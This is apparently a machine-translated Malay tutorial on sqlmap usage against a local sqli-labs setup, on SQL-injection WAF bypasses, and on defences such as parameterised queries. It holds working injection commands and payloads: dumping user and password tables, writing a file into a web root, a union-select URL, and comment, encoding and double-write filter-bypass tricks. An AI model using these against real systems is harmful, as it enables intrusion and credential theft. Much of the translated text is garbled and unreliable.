Rumah >Operasi dan penyelenggaraan >Keselamatan >Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi
1 Saya menyebut beberapa penyataan asas suntikan sql sebelum ini, tetapi suntikan manual sangat menyusahkan sql injection. antara muka Pelayan yang memasuki pangkalan data. Ia mempunyai enjin pengesanan yang sangat berkuasa, penguji penembusan dengan pelbagai ciri, akses kepada sistem fail asas melalui cap jari pangkalan data dan pelaksanaan perintah melalui sambungan luar jalur.
Tapak web rasmi: sqlmap.org
(2)#Pangkalan data yang disokong:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, MicrosoftAkses, IBM DB2, SQLite, Firebird, Sybase dan SAP MAXDB.
(3)#Sokong pelbagai kaedah suntikan
#UNION query SQL injection (boleh digabungkan dengan query injection)
#error-based SQL injection (error-reporting injection)
#Suntikan SQL buta berasaskan masa (suntikan kelewatan masa)
#Suntikan SQL pertanyaan bertindan (suntikan pertanyaan berbilang pernyataan)
Pemasangan 1.2 sqlmap dan pembinaan persekitaran
1. Langkah utama pemasangan sqlmap
sqlmap lebih serasi dengan Python2 Namun, apa yang perlu diubah ialah laluan pemasangan sqlmap Di sini ia ditukar kepada C:UsersAdministratorpython Untuk terus memasuki direktori sqlmap dari baris arahan untuk operasi yang lebih mudah)
(2) Jangan pasang Python ke laluan Cina, dan Tambah Python pada pembolehubah persekitaran. .
(3) Muat turun dan pasang sqlmap, ubah suai direktori pemasangan kepada C:UsersAdministratorsqlmap
(4) Uji persekitaran python: Masukkan baris arahan cmd, masukkan python,
Gesaan berikut akan menunjukkan pemasangan yang berjaya C:UsersAdministrator>python
Python 2.7.16(v2.7.16:413a49145e, 4 Mac 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] pada win32 Taip "help", "copyright" , " kredit" atau "lesen" untuk maklumat lanjut.
>>> keluar (); h (perhatikan laluan) C:UsersAdministratorsqlmap>
sqlmap.py -h
1.3 sqlmap parameter biasa
#(1) Dapatkan nama perpustakaan, nama lajur, kebenaran--dbs #Dapatkan semua pangkalan data
--dbms mysql #Nyatakan jenis pangkalan data
#sqlmap tidak dapat mengesan banyak aksara gangguan Anda boleh menentukan awalan dan akhiran secara manual apabila menutup
pilih * daripada pengguna di mana id=((('. 1 '))) dan 1=1
#--prefix=PREFIX Inject awalan rentetan muatan
#--suffix=SUFFIX Inject akhiran Rentetan muatan
cth: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"
--suffix "AND ('1'= '1"
#(3) Hasil eksport:
sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one. php "
--batch automatik sepenuhnya
--start=start number--stop=end number
--buang data eksport
--buang-semua eksport semua data
--purge-output/ -- bersihkan Kosongkan direktori cache
--sql-shell Rebound sqlshell, serupa dengan sql query analyzer Default path.sqlmap (klik sqlmap)
#Less-1--Less65 pernyataan umum (ini ialah parameter yang paling biasa digunakan, mesti difahami)
#(1) Dapatkan semua nama perpustakaan
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms= mysql --batch
#Parsing:
-u diikuti dengan url, menunjukkan url ujian
--dbs menunjukkan mendapatkan semua pangkalan data
-- dbms bermaksud jenis pangkalan data yang ditentukan ialah mysql
--batch bermaksud mendapatkan secara automatik
-D keselamatan --tables bermaksud untuk mendapatkan nama jadual pangkalan data yang ditentukan sebagai keselamatan
-D keselamatan -T pengguna --lajur bermaksud untuk mendapatkan nama lajur dalam jadual pengguna dalam pangkalan data yang ditentukan sebagai keselamatan
-D keselamatan -T pengguna -C nama pengguna,kata laluan --buang #Dapatkan perpustakaan keselamatan, pengguna Maklumat data medan nama pengguna dan kata laluan dalam jadual, --dump bermaksud hasil paparan
#Keputusan:
[*] cabaran
[*] dvwa
[* ] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test
#(2) Dapatkan nama perpustakaan semasa
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db -- batch
#Result:
pangkalan data semasa: 'security'
#(3) Dapatkan nama jadual semasa
C:UsersAdministratorsqlmap> python sqlmap.py -u " http://localhost/sqli/Less-1?id=1" -D keselamatan --tables --batch
#Result:
Pangkalan data: keselamatan
[ 4 jadual]
+---------+
| e-mel |
|pengguna |
| 🎜>+---- ------+
#(4) Dapatkan nama lajur semasa
C:UsersAdministratorsqlmap>python sqlmap.py - u "http://localhost/ sqli/Less-1?id=1" -D keselamatan -T pengguna --columns --batch
Pangkalan data: keselamatanJadual: pengguna
[3 lajur]
+----------+------------+
| Jenis Lajur |
+--- -------+-----------+
| id |
| ) |
|. nama pengguna | varchar(20) |
+----------+------------+
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D keselamatan -T pengguna -C nama pengguna,kata laluan - -dump --batch
Pangkalan data: keselamatanJadual: pengguna
[13 entri]
+------ ---+----------------+
| nama pengguna |
+--------. -+-----------+
|. Bodoh |
| |.
|. kebodohan |
| |. admin2 |
|. admin3 |
|. ----+
No. Bahagian 2: Pintasan WAF untuk suntikan sqli
2.1 Pengenalan kepada kaedah pintasan WAF untuk suntikan SQL
Nota: Ini hanya contoh untuk menggambarkan kaedah pintasan, senario sebenar adalah lebih rumit Lagi Kaedah pintasan boleh dicampur dan dikodkan.
1. Selepas mengetahui kaedah suntikan sql, bagaimana kita boleh menghalang suntikan sql?
#(2) Tapis dan atau atau
#(2) mysql menyokong perenambelasan, gunakan pengekodan perenambelasan atau URL
#(3) Gantikan perkataan dengan simbol = ==> dan(&&) atau(||)
#(4) Komen sebaris dan komen berbilang baris===>Tambahkan ulasan dalam perkataan sensitif a/**/nd Double write bypass oORr
3 Sudah tentu ada kaedah lain Mari kita ambil kaedah penapisan ini sebagai contoh untuk bercakap tentang cara memintas.
Terdapat waf. peranti dalam senario sebenar, dan waf sebenarnya menghalang suntikan sql dengan menapis beberapa kata kunci
1
#(1) Sebab untuk menapis aksara ulasan: Untuk pernyataan SQL biasa, aksara ulasan memainkan peranan deskriptif. Walau bagaimanapun, dalam proses mengeksploitasi kelemahan suntikan SQL, aksara ulasan memainkan peranan untuk menutup petikan tunggal, petikan tunggal berbilang, petikan berganda, kurungan tunggal dan berbilang kurungan.Ulasan satu baris: --+ atau --space atau #
Ulasan berbilang baris: /* Kandungan ulasan berbilang baris* /
preg_replace(campuran $corak, campuran $penggantian, campuran $subjek): Lakukan carian dan penggantian ungkapan biasa.
$pattern: Corak untuk dicari, yang boleh berupa rentetan atau tatasusunan rentetan
$replacement: Rentetan atau tatasusunan rentetan yang digunakan untuk penggantian.
$subject: Rentetan sasaran atau tatasusunan rentetan untuk dicari dan diganti.
Menggunakan anotasi untuk menapis tidak boleh berjaya menutup petikan tunggal, dsb., gunakan cara pemikiran dan penggunaan lain atau '1'= '1 Menutup petikan tunggal, dsb.
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
#(2) dalam fail konfigurasi PHP php.ini, petikan ajaib ( Kesan yang sama seperti addslashes): Apabila magic_quotes_gpc=Hidup dalam php.ini. Semua petikan tunggal ('), petikan berganda ("), garis miring ke belakang () dan NUL (aksara NULL) dalam pembolehubah yang diserahkan akan ditukar secara automatik kepada aksara melarikan diri yang mengandungi garis miring ke belakang
#(3), data Penapis kanan: Contohnya, tapis kata kunci biasa seperti dan/atau/kesatuan
#(4) Kawal kebenaran pengguna untuk menyambung ke pangkalan data: Setiap perpustakaan menetapkan pentadbir untuk satu perpustakaan, jangan gunakan kebenaran root.
#(5). ), Prapemprosesan dan parameterisasi (PDO): Memproses parameter yang dihantar oleh pengguna dan mengembalikan nilai Boolean, bukannya hanya "menghubungkan" data, dengan itu mengelakkan suntikan SQL
#(6), Langkah-langkah perlindungan perkakasan (WAF dan perkakasan lain)
Atas ialah kandungan terperinci Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!